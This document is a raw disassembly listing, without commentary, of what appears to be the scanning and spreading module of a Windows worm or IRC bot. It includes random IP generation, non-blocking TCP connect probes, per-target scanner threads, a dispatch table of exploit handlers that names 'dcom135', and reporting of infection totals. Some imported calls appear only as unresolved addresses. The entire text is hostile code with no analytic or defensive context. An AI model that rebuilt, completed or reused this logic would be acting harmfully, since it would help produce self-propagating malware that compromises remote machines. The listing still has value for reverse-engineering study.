push eax
call sub_4179A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406DBF
push 190h
nop
call near ptr 2610E88h
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_42AC04
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
push [ebp+var_170]
call sub_417078
add esp, 28h
push ebx
nop
call near ptr 261031Eh
loc_406DBF: ; CODE XREF: sub_406C19+140j
mov esi, 200h
loc_406DC4: ; CODE XREF: sub_406C19+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_4070C4
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43AD80
test eax, eax
jle loc_4070B8
mov al, byte_436EDC
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43AD70
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43AE24
push eax
lea eax, [ebp+var_58]
push eax
call sub_4172B0
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_4070A2
cmp [ebp+var_D7], 1
jnz loc_406FEE
lea eax, [ebp+var_274]
push eax
call sub_417AB0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_418DA0
add esp, 14h
test eax, eax
jnz loc_406FA8
lea eax, [ebp+var_1C]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_418DA0
add esp, 10h
test eax, eax
jnz loc_406FA8
push ebx
push ebx
push [ebp+var_8]
call sub_418D0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_418A86
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43ADFC
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_42ABBC
loc_406F5C: ; CODE XREF: sub_406C19+484j
lea eax, [ebp+var_780]
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F96
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
add esp, 14h
loc_406F96: ; CODE XREF: sub_406C19+358j
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
pop ecx
jmp loc_4070B8
; ---------------------------------------------------------------------------
loc_406FA8: ; CODE XREF: sub_406C19+2B6j
; sub_406C19+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_42ABA8
push edi
call dword_43ADFC
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_42AB74
push eax
call sub_4172B0
lea eax, [ebp+var_D8]
push eax
call sub_40BF6D
add esp, 14h
jmp loc_4070B8
; ---------------------------------------------------------------------------
loc_406FEE: ; CODE XREF: sub_406C19+275j
cmp [ebp+var_D7], 4
jnz loc_4070A2
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_40702B
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_407039
; ---------------------------------------------------------------------------
loc_40702B: ; CODE XREF: sub_406C19+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_407039: ; CODE XREF: sub_406C19+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_418D0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_418A86
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
loc_407079: ; DATA XREF: ___:004282F8o
; ___:0042830Co ...
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43ADFC
cmp edi, ebx
jnz short loc_4070B8
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_42AB20
jmp loc_406F5C
; ---------------------------------------------------------------------------
loc_4070A2: ; CODE XREF: sub_406C19+268j
; sub_406C19+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_42AB14
push edi
call dword_43ADFC
loc_4070B8: ; CODE XREF: sub_406C19+204j
; sub_406C19+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406DC4
loc_4070C4: ; CODE XREF: sub_406C19+1B4j
push edi
call dword_43AE30
push [ebp+var_8]
call sub_417900
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_4070F8
push [ebp+var_170]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_4070F8: ; CODE XREF: sub_406C19+4CAj
push 3E8h
nop
call near ptr 2610E88h
push esi
loc_407104: ; CODE XREF: sub_406C19+123j
call sub_406C19
pop edi
pop esi
pop ebx
leave
retn 4
sub_406C19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_42B134
push eax
xor ebx, ebx
call sub_4172B0
cmp dword_42ACB0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40717E
push esi
mov esi, offset dword_42ACB8
loc_407143: ; CODE XREF: sub_407110+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4172B0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418DE0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_407143
pop esi
loc_40717E: ; CODE XREF: sub_407110+2Bj
push dword_4CD5F0
call sub_40B721
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4172B0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418DE0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
add esp, 34h
pop edi
pop ebx
leave
retn
sub_407110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_416FA4
test eax, eax
pop ecx
jle short loc_407217
mov eax, [ebp+arg_C]
push dword_436F18[eax*8]
call dword_43AE24
push eax
lea eax, [ebp+var_200]
push offset unk_42B198
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_40722A
; ---------------------------------------------------------------------------
loc_407217: ; CODE XREF: sub_4071DB+13j
lea eax, [ebp+var_200]
push offset unk_42B168
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40722A: ; CODE XREF: sub_4071DB+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
add esp, 18h
leave
retn
sub_4071DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407252 proc near ; CODE XREF: sub_40797F+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_4075E2
imul eax, 3Ch
xor ebx, ebx
cmp dword_42ACBC[eax], ebx
jz loc_4074C3
push 4
call sub_416FA4
test eax, eax
pop ecx
jnz loc_4075E2
mov eax, dword_42F5AC
push edi
mov edi, offset dword_438F34
push 104h
push edi
push ebx
mov dword_439144, eax
mov dword_439140, ebx
call near ptr 2670000h
nop
push 103h
mov esi, offset dword_439038
push offset byte_42F674
push esi
call sub_418C10
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_438F30, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4391C8, eax
jnz short loc_407305
lea eax, [ebp+arg_10]
push eax
push offset dword_439148
call sub_418C10
add esp, 0Ch
mov dword_4391CC, 1
jmp short loc_40731F
; ---------------------------------------------------------------------------
loc_407305: ; CODE XREF: sub_407252+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_439148
call sub_418C10
add esp, 0Ch
mov dword_4391CC, ebx
loc_40731F: ; CODE XREF: sub_407252+B1j
push esi
push edi
push dword_439144
lea eax, [ebp+var_204]
push offset unk_42B328
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_416D5C
add esp, 20h
mov dword_43913C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_438F30
push offset sub_406C19
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, dword_43913C
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_40738E
loc_40737C: ; CODE XREF: sub_407252+13Aj
cmp dword_4391D0, ebx
jnz short loc_4073A9
push 32h
nop
call near ptr 2610E88h
jmp short loc_40737C
; ---------------------------------------------------------------------------
loc_40738E: ; CODE XREF: sub_407252+128j
call near ptr 2660B07h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_42B2E8
push eax
call sub_4172B0
add esp, 0Ch
loc_4073A9: ; CODE XREF: sub_407252+130j
lea eax, [ebp+var_204]
push eax
call sub_40BF6D
mov edi, offset dword_43958C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_439798, ebx
nop
call near ptr 2670000h
push 103h
mov esi, offset dword_439690
push offset byte_42F674
push esi
call sub_418C10
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_439588, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_439820, eax
jnz short loc_407424
lea eax, [ebp+arg_10]
push eax
push offset dword_4397A0
call sub_418C10
add esp, 0Ch
mov dword_439824, 1
jmp short loc_40743E
; ---------------------------------------------------------------------------
loc_407424: ; CODE XREF: sub_407252+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_4397A0
call sub_418C10
add esp, 0Ch
mov dword_439824, ebx
loc_40743E: ; CODE XREF: sub_407252+1D0j
push esi
push edi
push dword_43979C
lea eax, [ebp+var_204]
push offset dword_42B298
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_416D5C
add esp, 20h
mov dword_439794, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439588
push offset sub_4053D5
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, dword_439794
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4074B2
loc_40749C: ; CODE XREF: sub_407252+25Ej
cmp dword_439828, ebx
jnz loc_4075D5
push 32h
nop
call near ptr 2610E88h
jmp short loc_40749C
; ---------------------------------------------------------------------------
loc_4074B2: ; CODE XREF: sub_407252+248j
nop
call near ptr 2660B07h
push eax
push offset dword_42B258
jmp loc_4075C6
; ---------------------------------------------------------------------------
loc_4074C3: ; CODE XREF: sub_407252+25j
cmp dword_42ACC0[eax], ebx
jz loc_4075E2
push 3
call sub_416FA4
test eax, eax
pop ecx
jnz loc_4075E2
mov esi, offset dword_439464
push 104h
push esi
push ebx
call near ptr 2670000h
nop
push 5Ch
push esi
call sub_418F10
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407501
mov [eax], bl
loc_407501: ; CODE XREF: sub_407252+2ABj
mov eax, dword_42F5B0
mov dword_43957C, ebx
mov dword_439568, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4391DC
call sub_4172B0
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4391D8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_439568
mov dword_439574, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_439578, ecx
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42B20C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_416D5C
add esp, 20h
mov dword_439570, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4391D8
push offset sub_405AF2
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, dword_439570
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4075BA
loc_4075A8: ; CODE XREF: sub_407252+366j
cmp dword_439584, ebx
jnz short loc_4075D5
push 32h
nop
call near ptr 2610E88h
jmp short loc_4075A8
; ---------------------------------------------------------------------------
loc_4075BA: ; CODE XREF: sub_407252+354j
nop
call near ptr 2660B07h
push eax
push offset unk_42B1C8
loc_4075C6: ; CODE XREF: sub_407252+26Cj
lea eax, [ebp+var_204]
push eax
call sub_4172B0
add esp, 0Ch
loc_4075D5: ; CODE XREF: sub_407252+250j
; sub_407252+35Cj
lea eax, [ebp+var_204]
push eax
call sub_40BF6D
pop ecx
loc_4075E2: ; CODE XREF: sub_407252+14j
; sub_407252+35j ...
pop esi
pop ebx
leave
retn
sub_407252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:436F18h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_417390
add esp, 0Ch
push [ebp+arg_0]
call dword_43ACCC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43AD94
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_417390
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4075E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40762E proc near ; CODE XREF: sub_407767+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_417AB0
cmp eax, 0Fh
pop ecx
jbe short loc_407656
xor eax, eax
jmp short loc_4076C7
; ---------------------------------------------------------------------------
loc_407656: ; CODE XREF: sub_40762E+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_418A52
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_407683
call sub_41730C
mov [ebp+var_C], eax
loc_407683: ; CODE XREF: sub_40762E+4Bj
cmp [ebp+var_8], esi
jnz short loc_407690
call sub_41730C
mov [ebp+var_8], eax
loc_407690: ; CODE XREF: sub_40762E+58j
cmp [ebp+var_4], esi
jnz short loc_40769D
call sub_41730C
mov [ebp+var_4], eax
loc_40769D: ; CODE XREF: sub_40762E+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4076A9
call sub_41730C
loc_4076A9: ; CODE XREF: sub_40762E+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_436F18[ecx*8], eax
loc_4076C7: ; CODE XREF: sub_40762E+26j
pop esi
leave
retn
sub_40762E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076CA proc near ; CODE XREF: sub_407767+BBp
; sub_40D4C5+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43AE18
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4076F3
xor eax, eax
jmp short loc_407762
; ---------------------------------------------------------------------------
loc_4076F3: ; CODE XREF: sub_4076CA+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43AD98
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43AE34
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43AD40
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43AD80
push esi
mov edi, eax
call dword_43AE30
xor eax, eax
cmp edi, ebx
setnle al
loc_407762: ; CODE XREF: sub_4076CA+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407767 proc near ; DATA XREF: sub_40797F+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call near ptr 261077Ch
nop
push eax
call sub_417302
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4077AE: ; CODE XREF: sub_407767+204j
mov eax, dword_4407F4[ebx]
cmp dword_436F1C[eax*8], 0
jz loc_407970
cmp [ebp+var_10], 0
push eax
jz short loc_4077D8
lea eax, [ebp+var_150]
push eax
call sub_40762E
pop ecx
jmp short loc_4077DD
; ---------------------------------------------------------------------------
loc_4077D8: ; CODE XREF: sub_407767+60j
call sub_4075E6
loc_4077DD: ; CODE XREF: sub_407767+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_4407F4[ebx]
push [ebp+var_3C]
push edi
call dword_43AE24
push eax
lea eax, [ebp+var_28C]
push offset unk_42B3BC
push eax
call sub_4172B0
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4405F0[ebx]
push eax
call sub_4172B0
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076CA
add esp, 14h
cmp eax, 1
jnz loc_407960
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078B4
push offset dword_438F18
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_43AE24
push eax
lea eax, [ebp+var_28C]
push offset unk_42B384
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_407896
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40788A
lea eax, [ebp+var_140]
loc_40788A: ; CODE XREF: sub_407767+11Bj
push eax
push [ebp+var_40]
call sub_40D679
add esp, 14h
loc_407896: ; CODE XREF: sub_407767+100j
lea eax, [ebp+var_28C]
push eax
call sub_40BF6D
mov [esp+2A8h+var_2A8], offset dword_438F18
nop
call near ptr 77F7E300h
jmp loc_407960
; ---------------------------------------------------------------------------
loc_4078B4: ; CODE XREF: sub_407767+D0j
push edi
call dword_43AE24
push eax
lea eax, [ebp+var_208]
push eax
call sub_4172B0
mov eax, [ebp+var_20]
pop ecx
imul eax, 3Ch
pop ecx
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4172B0
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_4078F9
lea eax, [ebp+var_140]
loc_4078F9: ; CODE XREF: sub_407767+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4172B0
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42ACB4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_407960: ; CODE XREF: sub_407767+C6j
; sub_407767+148j
push 7D0h
nop
call near ptr 2610E88h
jmp loc_4077AE
; ---------------------------------------------------------------------------
loc_407970: ; CODE XREF: sub_407767+55j
push esi
call sub_417078
pop ecx
push 0
nop
call near ptr 261031Eh
sub_407767 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40797F proc near ; DATA XREF: sub_40EE72+3300o
; sub_40EE72+5137o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43ADD8
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_436F18[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_407252
push 8
call sub_416FA4
add esp, 150h
cmp eax, ebx
jnz short loc_407A4D
mov esi, offset dword_438F18
push esi
call near ptr 26E0000h
nop
push 80000400h
push esi
call near ptr 26D1C29h
nop
test eax, eax
jnz short loc_407A4D
lea eax, [ebp+var_1CC]
push offset unk_42B4F0
push eax
call sub_4172B0
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A37
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D679
add esp, 14h
loc_407A37: ; CODE XREF: sub_40797F+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A4D: ; CODE XREF: sub_40797F+63j
; sub_40797F+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_424064
mov edi, ebx
mov dword_436F1C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B1A
loc_407A6B: ; CODE XREF: sub_40797F+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B4A8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_416D5C
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_4407F4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_407767
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_407AE5
loc_407ADA: ; CODE XREF: sub_40797F+164j
cmp [ebp+var_4], ebx
jnz short loc_407B0C
push 1Eh
call esi
jmp short loc_407ADA
; ---------------------------------------------------------------------------
loc_407AE5: ; CODE XREF: sub_40797F+159j
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B45C
push eax
call sub_4172B0
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
add esp, 10h
loc_407B0C: ; CODE XREF: sub_40797F+15Ej
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A6B
loc_407B1A: ; CODE XREF: sub_40797F+E6j
cmp [ebp+var_30], ebx
jz loc_407BC4
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_407B2F: ; CODE XREF: sub_40797F+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_436F18[eax*8]
push eax
call dword_43AE24
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B408
push eax
call sub_4172B0
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B7D
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D679
add esp, 14h
loc_407B7D: ; CODE XREF: sub_40797F+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_436F1C[eax*8], ebx
call esi
push 8
call sub_416FA4
cmp eax, 1
pop ecx
jnz short loc_407BB4
push offset dword_438F18
nop
call near ptr 26E0000h
loc_407BB4: ; CODE XREF: sub_40797F+228j
push [ebp+var_2C]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_407BC4: ; CODE XREF: sub_40797F+19Ej
; sub_40797F+25Dj
mov eax, [ebp+var_2C]
cmp dword_436F1C[eax*8], 1
jnz loc_407B2F
push 7D0h
call esi
jmp short loc_407BC4
sub_40797F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43AD98
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43AE18
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D42
